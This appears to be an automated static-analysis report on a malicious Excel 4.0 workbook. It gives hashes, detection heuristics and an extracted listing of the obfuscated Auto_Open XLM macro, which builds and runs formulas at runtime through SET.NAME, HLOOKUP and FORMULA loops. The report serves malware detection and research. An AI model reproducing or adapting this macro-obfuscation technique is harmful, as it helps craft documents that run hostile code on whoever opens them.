Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 41d411d95f04e6d1…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:41:50 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 51292a250f6aa28c5bdbd61392ba002a SHA-1: 6595e6e04e34d4519108368d2b15dbe20dc6c97a SHA-256: 41d411d95f04e6d12a7ec60734fc63a342ba2c3fffcde57e9e455d51ea6ff891
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6428 bytes
SHA-256: ff5a904e349b6e66beac0e73616fedbaf8d44f29c8ef0a06d92691063cacc857
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  IbpVX
' 0018     27 LABEL : Cell Value, String Constant - AJyjGpfnuHoF len=0 
' 0018     20 LABEL : Cell Value, String Constant - aOPpk len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A131 
' 0018     24 LABEL : Cell Value, String Constant - crbEXJTuW len=0 
' 0018     25 LABEL : Cell Value, String Constant - DPeVRewLfP len=0 
' 0018     25 LABEL : Cell Value, String Constant - fgotvRQZTB len=0 
' 0018     22 LABEL : Cell Value, String Constant - fSdQyyy len=0 
' 0018     22 LABEL : Cell Value, String Constant - FwBLEAM len=0 
' 0018     22 LABEL : Cell Value, String Constant - GegVCuV len=0 
' 0018     25 LABEL : Cell Value, String Constant - gmVtuswaCk len=0 
' 0018     24 LABEL : Cell Value, String Constant - gSEUespYD len=0 
' 0018     27 LABEL : Cell Value, String Constant - itzUMQZbGwSm len=0 
' 0018     21 LABEL : Cell Value, String Constant - JemPoD len=0 
' 0018     26 LABEL : Cell Value, String Constant - LaeiNzFIchx len=0 
' 0018     22 LABEL : Cell Value, String Constant - LLSQcPq len=0 
' 0018     27 LABEL : Cell Value, String Constant - RFsCqONdinPP len=0 
' 0018     25 LABEL : Cell Value, String Constant - sCNpSgtZDB len=0 
' 0018     22 LABEL : Cell Value, String Constant - SlYCawp len=0 
' 0018     21 LABEL : Cell Value, String Constant - vJzQji len=0 
' 0018     20 LABEL : Cell Value, String Constant - vWYJB len=0 
' 0018     21 LABEL : Cell Value, String Constant - zkHVAJ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  IbpVX,A48,"SET.NAME("gSEUespYD",VALUE("0"))",""
'  IbpVX,A50,"SET.NAME("LLSQcPq",gSEUespYD)",""
'  IbpVX,A54,"SET.NAME("crbEXJTuW",gSEUespYD)",""
'  IbpVX,A56,"SET.NAME("LaeiNzFIchx",COUNTA(gmVtuswaCk))",""
'  IbpVX,A59,"SET.NAME("DPeVRewLfP",COUNTA(GegVCuV))",""
'  IbpVX,A63,[],""
'  IbpVX,A67,"SET.NAME("vWYJB","")",""
'  IbpVX,A71,"LLSQcPq",""
'  IbpVX,A74,"SET.NAME("zkHVAJ",HLOOKUP("*",gmVtuswaCk,LLSQcPq,FALSE))",""
'  IbpVX,A77,"SlYCawp",""
'  IbpVX,A80,"SET.NAME("fgotvRQZTB",gSEUespYD)",""
'  IbpVX,A84,[],""
'  IbpVX,A87,"fgotvRQZTB",""
'  IbpVX,A92,"fSdQyyy",""
'  IbpVX,A95,"itzUMQZbGwSm",""
'  IbpVX,A99,"sCNpSgtZDB",""
'  IbpVX,A104,"SET.NAME("vJzQji",VALUE(HLOOKUP("*",GegVCuV,sCNpSgtZDB,FALSE)))",""
'  IbpVX,A106,"JemPoD",""
'  IbpVX,A108,"vWYJB",""
'  IbpVX,A110,"crbEXJTuW",""
'  IbpVX,A113,NEXT(),""
'  IbpVX,A116,"RFsCqONdinPP",""
'  IbpVX,A118,"SET.NAME("f",INT(T(FORMULA(T(vWYJB)&"",""&T(RFsCqONdinPP)))))",""
'  IbpVX,A120,"aOPpk",""
'  IbpVX,A122,NEXT(),""
'  IbpVX,A127,RETURN(),""
'  IbpVX,A153,"SET.NAME("AJyjGpfnuHoF",A48)",""
'  IbpVX,A156,"gmVtuswaCk",""
'  IbpVX,A160,"SET.NAME("GegVCuV",R41C15)",""
'  IbpVX,A163,"SET.NAME("aOPpk",171)",""
'  IbpVX,A168,"SET.NAME("FwBLEAM",1)",""
'  IbpVX,A170,AJyjGpfnuHoF(),""
'  IbpVX,A171,HALT(),""

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